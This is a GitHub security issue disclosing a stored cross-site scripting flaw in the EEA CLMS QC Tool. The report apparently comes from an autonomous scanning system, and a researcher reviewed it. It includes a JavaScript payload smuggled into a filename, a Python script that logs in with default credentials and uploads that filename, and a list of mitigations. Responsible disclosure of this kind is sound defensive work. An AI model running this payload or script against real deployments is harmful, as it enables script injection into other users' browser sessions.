Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[XBOW-024-090] Cross-Site Scripting via Unescaped Filename in EEA CLMS QC Tool #30

Open
xbow-security opened this issue Dec 11, 2024 · 0 comments

Comments

@xbow-security
Copy link

Disclaimer

This vulnerability was detected using XBOW, a system that autonomously finds and exploits potential security vulnerabilities. The finding has been thoroughly reviewed and validated by a security researcher before submission. While XBOW is intended to work autonomously, during its development human experts ensure the accuracy and relevance of its reports.

Description

The application's file listing functionality is vulnerable to cross-site scripting due to improper escaping of filenames in the listing page. When a user uploads a file, its filename is stored and later displayed unescaped in the file listing table.

The vulnerability exists in the actionsFormatter within deliveries.js, where the filename is directly inserted into HTML. This allows an attacker to inject arbitrary HTML and JavaScript by uploading a file with a maliciously crafted name.

This is particularly dangerous as it's a stored XSS vulnerability - once an attacker uploads a file with a malicious name, any user who access to the file listing page will have the malicious JavaScript executed in their browser context.

Steps to reproduce

  1. Log in to the application with valid credentials (admin/admin)
  2. Upload a file with a malicious filename containing HTML/JavaScript payload:
    e.g., "test<img src=x onerror=alert('XSS')>.zip"
  3. Navigate to the file listing page
  4. The JavaScript payload will execute

It is possible to automate the first to steps with the following code:

import requests
from bs4 import BeautifulSoup

session = requests.Session()
login_page = session.get('http://localhost:8000/accounts/login/')
soup = BeautifulSoup(login_page.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']

login_data = {
    'username': 'guest',
    'password': 'guest',
    'csrfmiddlewaretoken': csrf_token
}
login_response = session.post('http://localhost:8000/accounts/login/', data=login_data)

# Upload malicious file
filename = "test<img src=x onerror=alert('XSS')>.zip"
params = {
    'resumableChunkNumber': 1,
    'resumableTotalChunks': 1,
    'resumableChunkSize': 1024,
    'resumableTotalSize': len(b'test'),
    'resumableIdentifier': 'test123',
    'resumableFilename': filename,
    'resumableRelativePath': filename
}

files = {
    'file': ('blob', b'test', 'application/octet-stream')
}

response = session.post('http://localhost:8000/resumable_upload/', files=files, data=params)
print("Upload response:", response.status_code, response.text)

Mitigations

  • Always encode/escape user-provided data before inserting it into HTML context
  • Use .text() instead of .html() when displaying user input in jQuery
  • Consider implementing strict filename validation that only allows safe characters
  • Use a content security policy (CSP) to restrict script execution sources

Impact

This vulnerability has high impact because:

  • It is a stored XSS that affects any user who views the file listing
  • It executes in the context of authenticated users, potentially with elevated privileges
  • The payload runs in the context of the application domain, allowing access to sensitive user data and functionality
  • No user interaction beyond viewing the main page is required to trigger the payload
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant